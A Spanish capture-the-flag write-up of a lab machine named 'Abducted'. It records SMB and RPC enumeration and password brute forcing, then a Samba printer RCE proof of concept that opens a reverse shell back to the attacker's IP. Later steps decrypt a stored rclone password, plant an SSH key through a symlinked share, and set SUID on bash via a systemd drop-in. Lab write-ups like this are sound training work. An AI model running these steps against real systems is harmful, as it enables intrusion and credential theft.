- Dificultad:
medium - Tiempo aprox.
7h - Datos Iniciales:
10.129.14.75
Enumeración inicial
#Hacemos un escaneo de puertos, encontramos lo siguiente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| # TCP
$ sudo nmap -sT -Pn -p- 10.129.14.75 # Encuentra 22,139,445
$ sudo nmap -sT -Pn -p22,139,445 -sVC 10.129.14.75
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2026-06-11T18:44:41
|_ start_date: N/A
|_nbstat: NetBIOS name: ABDUCTED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
# UDP
$ sudo nmap -sU -Pn --top-ports=200 10.129.14.75 # Indica puerto 137
$ sudo nmap -sU -Pn -p137 -sVC 10.129.14.75
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
| nbns-interfaces:
| hostname: ABDUCTED
| interfaces:
|_ 10.129.14.75
Service Info: Host: ABDUCTED
|
22/tcp (OpenSSH 9.6p1): Vulnerable a RegreSSHion, difícilmente explotable así que lo consideramos no vulnerable.139/tcp (SMB sobre NetBIOS): El SO del servidor es Linux, así que como indica nmap se usa Samba.445/tcp (SMB sobre TCP): Lo mismo que para el 139. De hecho casi seguro sirven lo mismo.137/udp (Servicio de nombres de NetBIOS): En teoría, el 137 es el puerto por defecto mediante el cual NetBIOS resuelve dominios a IPs.
Además, añadimos ABDUCTED a /etc/hosts.
Puertos 139 y 445, SMB
#Antes de nada, miramos qué shares hay disponibles con anonymous login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| $ smbmap -H 10.129.14.75
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 10.129.14.75:445 Name: 10.129.14.75 Status: NULL Session
Disk Permissions Comment
---- ----------- -------
HP-Reception NO ACCESS Reception printer
projects NO ACCESS Hartley Group Project Files
transfer NO ACCESS Staff file transfer
IPC$ NO ACCESS IPC Service (Hartley Group Document Services)
[*] Closed 1 connections
$ smbclient -N -L 10.129.14.75
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
|
Al parecer no tenemos acceso a ninguno de los shares. Tampoco tenemos credenciales, no hay mucho que podamos hacer. Según nmap se está usando SMB 3.1.1, así que tampoco podemos aprovecharnos de ninguna vulnerabilidad.
Sin tener ni idea de qué hacer, se me ocurren 2 cosas:
- Tenemos el hostname
ABDUCTED y un puerto UDP que resuelve dominios a IPs, sería posible que si le solicitamos ABDUCTED nos diese otra IP además de la que tenemos, otra interfaz de red que analizar.- Problema: Nmap ha hecho esto por nosotros en el script nbns-interfaces, y la única IP resultante ha sido la que ya conocíamos.
- Podríamos ver si es posible hacer downgrade de la versión acordada entre cliente y servidor y explotar algo en la comunicación, alguna vulnerabilidad, aunque ni idea de cómo podría hacerse, tendríamos que mirar más.
- Problema: La versión de Ubuntu es reciente (en función de lo que dice la de SSH) y es bastante probable que no podamos hacer downgrade a SMBv1, también se indica smbd 4, es decir, que la configuración de seguridad parece reciente. Si probamos a verlo con Netexec:
1
2
| $ netexec smb ABDUCTED
SMB 10.129.14.75 445 ABDUCTED [*] Unix - Samba (name:ABDUCTED) (domain:ABDUCTED) (signing:False) (SMBv1:None) (Null Auth:True)
|
Vemos SMBv1:None, así que no es posible.
Otra alternativa útil es que, normalmente, a través de los puertos de SMB también es posible comunicarse con RPC. Esto significa que si está activado podríamos enumerar usuarios y datos del sistema.
Probando RPC
#Probamos a conectarnos:
1
2
| $ rpcclient -U "" -N 10.129.14.75
rpcclient $>
|
Y efectivamente tenemos una conexión. Ahora vamos enumerando cosas.
1
2
| rpcclient $> enumdomusers
user:[scott] rid:[0x3e8] # 0x3e8 es 1000 en hex
|
Tenemos un usuario de SMB: scott.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
| rpcclient $> srvinfo
ABDUCTED Wk Sv PrQ Unx NT SNT Hartley Group Document Services
platform_id : 500
os version : 6.1
server type : 0x809a03
rpcclient $> enumdomgroups
rpcclient $> querydispinfo
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott Name: Scott Mercer Desc:
rpcclient $> lsaquery
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
rpcclient $> netshareenumall
netname: HP-Reception
remark: Reception printer
path: C:\var\spool\samba
password:
netname: projects
remark: Hartley Group Project Files
path: C:\srv\projects
password:
netname: transfer
remark: Staff file transfer
path: C:\srv\transfer
password:
netname: IPC$
remark: IPC Service (Hartley Group Document Services)
path: C:\tmp
password:
# Info de Scott
rpcclient $> queryuser 1000
User Name : scott
Full Name : Scott Mercer
Home Drive : \\ABDUCTED\scott
Dir Drive :
Profile Path: \\ABDUCTED\scott\profile
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 06 Feb 2036 10:06:39 EST
Kickoff Time : Wed, 06 Feb 2036 10:06:39 EST
Password last set Time : Tue, 02 Jun 2026 11:16:45 EDT
Password can change Time : Tue, 02 Jun 2026 11:16:45 EDT
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
...
|
Hemos sacado algo más de info, tenemos el nombre completo de Scott Mercer, conocemos su empresa (Hartley), y el nombre de varios shares.
Enumerando usuarios.
#Además, podemos enumerar usuarios del sistema:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| rpcclient $> lookupnames scott
scott S-1-5-21-4225988480-3190912278-1721389418-1000 (User: 1)
rpcclient $> lookupnames root
root S-1-22-1-0 (User: 1)
rpcclient $> lookupnames www-data
www-data S-1-22-1-33 (User: 1)
rpcclient $> lookupnames nonexistent
result was NT_STATUS_NONE_MAPPED # No existe
...
# Y con RIDs:
rpcclient $> lookupsids S-1-22-1-0
S-1-22-1-0 Unix User\root (1)
rpcclient $> lookupsids S-1-22-1-1
S-1-22-1-1 Unix User\daemon (1)
|
Aquí podemos ver que RPC diferencia entre usuarios del dominio (con RID S-1-5-21-4225988480-3190912278-1721389418-ABC) y usuarios del sistema Linux mapeados a SMB (con RID S-1-22-1-UID). Esto puede dar información de los usuarios del sistema.
Probamos a enumerar todos los posibles (desde UID 0 hasta 5000):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| $ seq 0 5000 | xargs -P 20 -I{} bash -c '
g=$(rpcclient -U "" -N 10.129.14.75 \
-c "lookupsids S-1-22-1-{}" 2>/dev/null)
[[ -n "$g" && ! "$g" =~ Unix\ User\\[0-9]+ ]] &&
printf "%s: %s\n" "{}" "$g"
'
# USUARIOS DEL SISTEMA
9: S-1-22-1-9 Unix User\news (1)
7: S-1-22-1-7 Unix User\lp (1)
8: S-1-22-1-8 Unix User\mail (1)
0: S-1-22-1-0 Unix User\root (1)
2: S-1-22-1-2 Unix User\bin (1)
... [Todos los usuarios del sistema]...
999: S-1-22-1-999 Unix User\_laurel (1)
# USUARIOS INTERACTIVOS
1000: S-1-22-1-1000 Unix User\scott (1)
1001: S-1-22-1-1001 Unix User\marcus (1)
|
Tenemos 2 usuarios interactivos: scott y marcus.
Buscando credenciales
#De momento, con dos usuarios sin más, no hay mucho que podamos hacer. Podríamos crear una wordlist de palabras relevantes e intentar hacer fuerza bruta a uno de los usuarios, pero antes, pruebo con las combinaciones obvias:
1
2
3
4
5
6
7
| $ netexec smb 10.129.14.75 -u scott -p scott
SMB 10.129.14.75 445 ABDUCTED [*] Unix - Samba (name:ABDUCTED) (domain:ABDUCTED) (signing:False) (SMBv1:None) (Null Auth:True)
SMB 10.129.14.75 445 ABDUCTED [-] ABDUCTED\scott:scott STATUS_LOGON_FAILURE
$ netexec smb 10.129.14.75 -u marcus -p marcus
SMB 10.129.14.75 445 ABDUCTED [*] Unix - Samba (name:ABDUCTED) (domain:ABDUCTED) (signing:False) (SMBv1:None) (Null Auth:True)
SMB 10.129.14.75 445 ABDUCTED [+] ABDUCTED\marcus:marcus (Guest)
|
Y, aunque parece que las credenciales de marcus funcionan, a la derecha se indica (Guest) porque las credenciales son incorrectas y el servidor ha hecho un fallback a anonynmous login. Así que, de momento, seguimos con las manos vacías.
Podemos probar a hacer fuerza bruta a las contraseñas de marcus y scott.
1
2
3
4
5
6
7
8
9
10
11
12
| $ cat users.txt
scott
marcus
$ netexec smb ABDUCTED -u users.txt -p /usr/share/wordlists/rockyou.txt --continue-on-success --ignore-pw-decoding
SMB 10.129.14.75 445 ABDUCTED [*] Unix - Samba (name:ABDUCTED) (domain:ABDUCTED) (signing:False) (SMBv1:None) (Null Auth:True)
SMB 10.129.14.75 445 ABDUCTED [-] ABDUCTED\scott:123456 STATUS_LOGON_FAILURE
SMB 10.129.14.75 445 ABDUCTED [+] ABDUCTED\marcus:123456 (Guest)
SMB 10.129.14.75 445 ABDUCTED [-] ABDUCTED\scott:12345 STATUS_LOGON_FAILURE
SMB 10.129.14.75 445 ABDUCTED [-] ABDUCTED\scott:123456789 STATUS_LOGON_FAILURE
SMB 10.129.14.75 445 ABDUCTED [-] ABDUCTED\scott:password STATUS_LOGON_FAILURE
SMB 10.129.14.75 445 ABDUCTED [-] ABDUCTED\scott:iloveyou STATUS_LOGON_FAILURE
|
Pasado un rato, no conseguimos nada para scott. Además, aunque usemos --continue-on-success, como cualquier contraseña es “válida” (pero incorrecta) para marcus porque nos lleva a una sesión como guest, netexec no nos sirve para hacerle fuerza bruta, por lo menos por SMB. Tendríamos que hacerlo por SSH, y tardaríamos bastante.
DDx y RCE
#Aunque no tenemos nada útil todavía, sabemos qué es lo que no nos sirve.
- Usuarios
marcus y scott con credenciales desconocidas, no sirven. - 4 Shares.
IPC$, mapeado a /tmp y que gestiona lo que indica su nombre. Podemos buscar vulnerabilidades.projects, mapeado a /srv/projects. Es un disco con archivos, si no podemos acceder nos es inútil.transfer, mapeado a /srv/transfer. Otro disco, inútil también.HP-Reception, mapeado a /var/spool/samba. Es una impresora, podemos buscar vulnerabilidades.
En definitiva, nos queda buscar vulnerabilidades de impresoras e IPC en SMB. Además, la máquina salió el 5 de junio de 2026, así que es probable que el CVE sea reciente.
Si buscamos en Google linux samba ipc cve 2026 2025, encontramos lo siguiente:
- CVE-2026-4480 (Critical - RCE)
- CVE-2026-4408 (Critical - RCE)
Si buscamos linux samba printer cve 2026 2025, se nos destaca directamente el primero de ambos: CVE-2026-4480.
CVE-2026-4480 is a critical Remote Code Execution (RCE) vulnerability in the Samba printing subsystem (CVSS 10.0). It occurs when Samba passes a client-supplied print job name (the %J parameter) to an external print command without sanitizing unescaped shell metacharacters. A remote, unauthenticated attacker can exploit this via guest printer shares to execute arbitrary OS commands.
En teoría esta vulnerabilidad afecta a las versiones de Samba 4.24 anteriores a la 4.24.3, 4.23 anteriores a la 4.23.8 y 4.22 anteriores a la 4.22.10.
Nmap nos ha dicho que la versión de Samba era la “4”, sin más, así que jugamos a ciegas, pero por probar no perdemos nada. Descargamos un PoC disponible y lo ejecutamos.
1
2
3
4
| $ python3 exploit.py 10.129.14.75 10.10.16.82 4444 -P HP-Reception
[*] target : 10.129.14.75 (\\10.129.14.75\HP-Reception)
[*] callback : 10.10.16.82:4444 (start a listener first: nc -lvnp 4444)
[+] print job submitted -- check your listener / out-of-band channel]
|
Y en el listener:
1
2
3
4
5
6
7
8
9
| $ penelope -i 10.10.16.82
[+] Listening for reverse shells on 10.10.16.82:4444
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from abducted~10.129.14.75-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
────────────────────────────────────────────────────────────────────────────────
nobody@abducted:/var/spool/samba$
|
Movimiento lateral hacia Scott
#Buscando Shares
#Ahora estamos dentro, esto significa que (si tenemos acceso en el sistema de archivos) podemos acceder a los shares, porque sabemos dónde estaban mapeados originalmente: /srv/projects y /srv/transfer.
Miramos el directorio:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| nobody@abducted:/$ ls -al --recursive /srv/
/srv/:
total 16
drwxr-xr-x 4 root root 4096 Mar 31 2025 .
drwxr-xr-x 23 root root 4096 Jun 4 13:41 ..
drwxr-x--- 2 scott scott 4096 Oct 9 2025 projects
drwxr-xr-x 2 scott scott 4096 Oct 9 2025 transfer
ls: cannot open directory '/srv/projects': Permission denied
/srv/transfer:
total 8
drwxr-xr-x 2 scott scott 4096 Oct 9 2025 .
drwxr-xr-x 4 root root 4096 Mar 31 2025 ..
|
No tenemos acceso para leer /srv/projects, y en /srv/transfer no hay nada, así que a por otra cosa.
Buscando alternativas
#Vamos a /home para ver si podemos leer el directorio personal de algún usuario.
1
2
3
4
5
6
| nobody@abducted:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jun 4 13:41 .
drwxr-xr-x 23 root root 4096 Jun 4 13:41 ..
drwxr-x--- 3 marcus marcus 4096 Jun 4 13:47 marcus
drwxr-x--- 3 scott scott 4096 Jun 4 13:47 scott
|
Nada, cero permisos en ambos directorios. Vamos a / para ver qué más podemos mirar.
1
2
3
| nobody@abducted:/$ ls
bin boot dev home lib64 lost+found mnt proc run sbin.usr-is-merged srv tmp var
bin.usr-is-merged cdrom etc lib lib.usr-is-merged media opt root sbin snap sys usr
|
Ignorando home y srv, gran parte de los directorios no son relevantes de momento (root, directorios de binarios como bin,sbin,etc.). Vamos a /opt.
1
2
3
4
5
6
| nobody@abducted:/$ cd opt/
nobody@abducted:/opt$ ls
offsite-backup
nobody@abducted:/opt$ cd offsite-backup/
nobody@abducted:/opt/offsite-backup$ ls
rclone.conf sync.sh
|
Encontramos 2 archivos, rclone.conf y sync.sh. Si abrimos el primero, encontramos un hash de contraseña del usuario svc-backup.
1
2
3
4
5
6
7
| nobody@abducted:/opt/offsite-backup$ cat rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
|
El problema es que no corresponde con ningún formato de hash, así que posiblemente esté codificado. Tras buscar en Internet, veo que es posible que sea Base64URL, hasta que descubro que “Rclone uses a simple XOR-based encryption with a hardcoded key” y es posible descifrar la contraseña con
1
| rclone reveal <encrypted_password>
|
Así que lo ejecutamos.
1
2
| nobody@abducted:/opt/offsite-backup$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ
|
Y tenemos una contraseña iXzvcib3SrpZ. Si probamos a hacer SSH con algún usuario:
1
2
3
4
5
6
7
8
9
| $ ssh marcus@abducted
marcus@abducted's password:
Permission denied, please try again. # Con Marcus no funciona
$ ssh scott@ABDUCTED
scott@abducted's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)
scott@abducted:~$
|
Movimiento lateral hacia Marcus
#Ahora que somos Scott sí que podemos ir a ver qué hay dentro del share projects. Vamos hacia /srv, y si entramos…
1
2
3
4
5
| scott@abducted:/srv$ cd projects/
scott@abducted:/srv/projects$ ls
README.txt
scott@abducted:/srv/projects$ cat README.txt
Hartley Group - internal project store
|
No hay nada, a enumerar.
Enumeración
# 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
| # Versión del sistema
scott@abducted:/srv/projects$ uname -a
Linux abducted 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
# CVE crítico de privesc corregido justo en esta versión.
# Grupos e info de Scott
scott@abducted:/opt$ id
uid=1000(scott) gid=1001(scott) groups=1001(scott)
# Permisos SUDO
scott@abducted:/srv/projects$ sudo -l
[sudo] password for scott:
Sorry, user scott may not run sudo on abducted.
# Puertos en escucha
$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::139 :::* LISTEN -
tcp6 0 0 :::445 :::* LISTEN -
udp 0 0 127.0.0.54:53 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 10.129.255.255:137 0.0.0.0:* -
udp 0 0 10.129.14.75:137 0.0.0.0:* -
udp 0 0 0.0.0.0:137 0.0.0.0:* -
udp 0 0 10.129.255.255:138 0.0.0.0:* -
udp 0 0 10.129.14.75:138 0.0.0.0:* -
udp 0 0 0.0.0.0:138 0.0.0.0:* -
# Bit SUID
scott@abducted:/$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
# Cronjobs
scott@abducted:/$ ls -al --recursive /etc/cron*
-rw-r--r-- 1 root root 1136 Feb 16 2025 /etc/crontab
/etc/cron.d:
total 24
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rw-r--r-- 1 root root 60 Apr 8 2024 offsite-backup
-rw-r--r-- 1 root root 102 Feb 16 2025 .placeholder
...
|
De todo lo primero no hay nada que llame la atención, pero entre los cronjobs encontramos un offsite-backup, propiedad de root, que parece curioso.
1
2
| scott@abducted:/etc/cron.d$ cat offsite-backup
30 2 * * * root /opt/offsite-backup/sync.sh >/dev/null 2>&1
|
Se ejecuta todos los días a las 02:30 AM. Podríamos esperar, pero antes hay que ver si podemos modificar el archivo siquiera.
1
2
| scott@abducted:/etc/cron.d$ ls -al /opt/offsite-backup/sync.sh
-rwxr-xr-x 1 root root 105 Oct 9 2025 /opt/offsite-backup/sync.sh
|
Nada, no podemos.
Ejecutamos LinPEAS, pasado un rato, encontramos lo siguiente:
- PackageKit version detected: 1.2.8
- Vulnerable to CVE-2026-41651 (Pack2TheRoot) - PackageKit 1.2.8 is in the vulnerable range >=1.0.2 <=1.3.4
- pkcon/pkmon present - daemon can be activated on demand via D-Bus
Pero si ejecutamos el exploit, veremos que falla.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| scott@abducted:/tmp$ ./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
...
[*] Finished (exit=1, 655 ms)
[*] Loop ran for 669 ms
[*] Polling for payload (120 s max)...
[*] t+1s: payload=exists dpkg_lock=free suid=not yet
[*] t+2s: payload=exists dpkg_lock=free suid=not yet
[*] t+3s: payload=exists dpkg_lock=free suid=not yet
...[SNIP]...
[*] t+120s: payload=exists dpkg_lock=free suid=not yet
[-] Exploit failed — SUID bash never appeared.
|
Samba (de nuevo)
#Si miramos los archivos de configuración de SMB, encontraremos esto.
1
2
3
4
5
6
7
8
9
10
| scott@abducted:~$ cat /etc/samba/shares.conf
...[SNIP]...
[transfer]
comment = Staff file transfer
path = /srv/transfer
valid users = scott
force user = marcus
read only = no
wide links = yes
browseable = yes
|
Aquí hay 3 cosas relevantes:
valid users = scott: Scott puede acceder a este shareforce user = marcus: Todo lo que hagamos a través de este share se hace como marcuswide links = yes: Si los archivos de este share son symlinks, pueden seguirse.
Esto significa que podemos hacer algo como
1
2
| scott@abducted:~$ cd /srv/transfer
scott@abducted:~$ ln -s / /srv/transfer/raiz
|
1
2
3
4
5
6
7
8
9
10
11
12
| $ smbclient //abducted/transfer -U scott
Password for [WORKGROUP\scott]: # iXzvcib3SrpZ
smb: \> cd raiz\
smb: \raiz\> ls
. D 0 Thu Jun 4 09:41:30 2026
.. D 0 Thu Jun 4 09:41:30 2026
sys D 0 Thu Jun 11 18:44:04 2026
boot D 0 Thu Jun 4 10:05:34 2026
lib64 D 0 Wed Jun 3 10:30:54 2026
dev D 0 Thu Jun 11 14:40:48 2026
sbin.usr-is-merged D 0 Thu Jun 4 09:41:30 2026
... [Todo /]
|
Ahora vamos al directorio /home de marcus.
1
2
3
4
5
6
7
| smb: \raiz\> cd home\marcus\
smb: \raiz\home\marcus\> ls
.profile H 807 Sun Mar 31 04:41:03 2024
.bash_logout H 220 Sun Mar 31 04:41:03 2024
.bash_history H 0 Thu Jun 4 09:47:57 2026
.bashrc H 3771 Sun Mar 31 04:41:03 2024
.cache DH 0 Thu Jun 4 09:41:30 2026
|
Como no hay directorio .ssh, lo creamos, y mientras creamos una clave privada.
1
2
3
4
5
6
7
8
9
| # En el servidor
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./marcus
# En la máquina atacante
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./marcus
|
Ahora subimos la clave.
1
2
3
4
| smb: \raiz\home\marcus\> cd .ssh\
smb: \raiz\home\marcus\.ssh\> put marcus.pub
putting file marcus.pub as \raiz\home\marcus\.ssh\marcus.pub (2.8 kB/s) (average 2.7 kB/s)
smb: \raiz\home\marcus\.ssh\> rename marcus.pub authorized_keys
|
Y nos conectamos
1
2
3
4
5
| $ ssh marcus@abducted -i marcus
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-124-generic x86_64)
Last login: Fri Jun 12 01:00:48 2026 from 10.10.16.82
marcus@abducted:~$
|
Privesc hacia Root
#Y una vez somos marcus, antes de enumerar todo de nuevo, nos preguntamos: Qué postura diferente tenemos frente a la que teníamos con scott? No puede haber una vulnerabilidad nueva en el sistema, no puede haber otros puertos abiertos, no pueden ser SUID Bits, y tampoco tenemos la contraseña de marcus, lo único que nos diferencia es aquello a lo que ahora tenemos acceso y antes no, y que no requiere credenciales:
1
2
| marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
|
Somos del grupo operators, si buscamos archivos con este grupo.
1
2
| marcus@abducted:~$ find / -group operators 2>/dev/null
/etc/systemd/system/smbd.service.d
|
Solo hay un directorio, /etc/systemd/system/smbd.service.d, el directorio de configuración del servicio de Samba de systemd. Todo archivo de config. que añadamos aquí se ejecutará como root.
1
2
3
4
5
| marcus@abducted:~$ cd /etc/systemd/system/smbd.service.d/
marcus@abducted:/etc/systemd/system/smbd.service.d$ ls -al
total 8
drwxrws--- 2 root operators 4096 Jun 4 13:41 .
drwxr-xr-x 26 root root 4096 Jun 4 13:41 ..
|
No hay nada, pero podemos añadirlo.
1
2
3
4
5
6
|
marcus@abducted:/etc/systemd/system/smbd.service.d$ cat << EOF >> exploit.conf
[Service]
ExecStartPre=/bin/chmod +s /bin/bash
EOF
|
Ahora hay que hacer que systemd recargue la config. de Samba. En teoría no podríamos reiniciar un daemon de root sin usar sudo, pero es posible que haya alguna regla de polkit que nos permita reiniciarlo sin credenciales. Por probar no perdemos nada, si no tenemos permiso, nos pedirá contraseña o dará error.
1
2
3
4
| marcus@abducted:/etc/systemd/system/smbd.service.d$ systemctl daemon-reload
marcus@abducted:/etc/systemd/system/smbd.service.d$ systemctl restart smbd
marcus@abducted:/etc/systemd/system/smbd.service.d$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash
|
Y ahí está, con el bit SUID puesto. Ahora lo ejecutamos.
1
2
3
| marcus@abducted:/etc/systemd/system/smbd.service.d$ /bin/bash -p
bash-5.2# whoami
root
|
Y tenemos root.
Post-Root: Notas.
#Añado esta sección al final de esta máquina específica porque el entorno de esta máquina (Samba en Linux) hasta ahora no lo había visto, y he tardado bastante en completarla porque me he dejado bastantes cosas por el camino.
Aquí hay una serie de notas que he tomado para tenerlas en cuenta en un futuro.
- Es posible usar RPC a través de SMB (a través de Named Pipes) aunque los puertos superiores estén cerrados.
- (Cosa que ya debería saber, pero por algún motivo había olvidado)
- Rara vez, salvo casos específicos, un exploit de kernel es la respuesta en una máquina de HTB
- Me pasé bastante rato, aunque no sale en el writeup, buscando vulnerabilidades de kernel con Trivy
- Cuando se consigue el siguiente acceso a una máquina (p.ej, foothold inicial), todos los servicios se reinician en la lista de posibilidades.
- En este caso, el ejemplo es la configuración de Samba. Pasé mucho rato buscando vulnerabilidades en el sistema porque como ya había usado Samba para el foothold inicial lo había tachado de la lista. Que antes no me sirviese no significa que ahora, que tengo acceso, tampoco lo haga.